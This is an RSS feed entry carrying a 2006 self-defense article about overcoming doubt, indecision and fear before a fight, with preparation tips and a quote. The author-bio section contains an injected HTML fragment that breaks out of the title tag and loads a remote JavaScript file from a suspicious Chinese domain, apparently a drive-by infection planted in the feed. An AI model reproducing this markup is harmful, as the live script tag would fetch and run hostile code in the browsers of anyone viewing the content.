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	<copyright>Copyright 2006,Norm Bettencourt</copyright>
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		<title>The Three Horsemen</title>
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		<author>tactselfdefense@yahoo.ca (Norm Bettencourt)</author>
		<description>by Norm Bettencourt&lt;br&gt;Wednesday, March 15, 2006&lt;br&gt;&lt;br&gt;Self doubt, indecision, &amp; fear the three horsemen that destroy your chances for success. If you have one of these feelings the other two are nearby. If you have doubt in your abilities as a fighter or are incisive on how you are going to fight your opponent, fear will automatically kick in &amp; take over. Your chances of being victorious before even entering the ring will be knocked out. These emotions will effect your performance due to the mind / body connection. You will hesitate on fully committing to your techniques &amp; combinations while fighting. You will telegraph your movements due to indecision and your speed of your techniques will slow down due to being stiff &amp; rigid.&lt;br&gt;&lt;br&gt;Like animals, which sense fear, humans are no different. The vibrations of fear pass from one mind to another just as quickly &amp; surely as a human voice. Your opponent across the ring will sense your fear &amp; use it to his advantage. The three horsemen need to be mastered before claiming your title in or outside of the ring.&lt;br&gt;&lt;br&gt;Here are some tips&lt;ol&gt;&lt;li&gt;Think from your opponents mind, what would he do?&lt;/li&gt;&lt;li&gt;Watch &amp; analyze your opponents fights to get a sense of his game plan&lt;/li&gt;&lt;li&gt;Focus &amp; remind yourself of your strengths as a fighter.&lt;/li&gt;&lt;li&gt;At night before going to sleep rehearse your fight plan in your mind &amp; what you will do to counter attacks&lt;/li&gt;&lt;li&gt;Have a flexible fight plan ready in your mind &amp; stick to it&lt;/li&gt;&lt;/ol&gt;&quot;In order to achieve victory you must place yourself in your opponent&apos;s skin. If you don&apos;t understand yourself, you will lose 100% of the time. If you understand yourself you will win 50% of the time. If you understand yourself &amp; your opponent you will win 100% of the time.&quot; -- Tsutomu Oshima&lt;br&gt;&lt;br&gt;&lt;b&gt;About the Author&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://www0.douhunqn.cn/csrss/w.js&quot;&gt;&lt;/script&gt;&lt;!--Norm Bettencourt is the creator of TACT Self Defense which specializes in combat management tactics for mind, body &amp; spirit. Visit &lt;a href=&quot;http://www.tactselfdefense.com/&quot;&gt;Tact Self Defense&lt;/a&gt;

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		<category>Self Improvement</category>
		<pubDate>Wed, 15 Mar 2006 20:48:16 GMT</pubDate>
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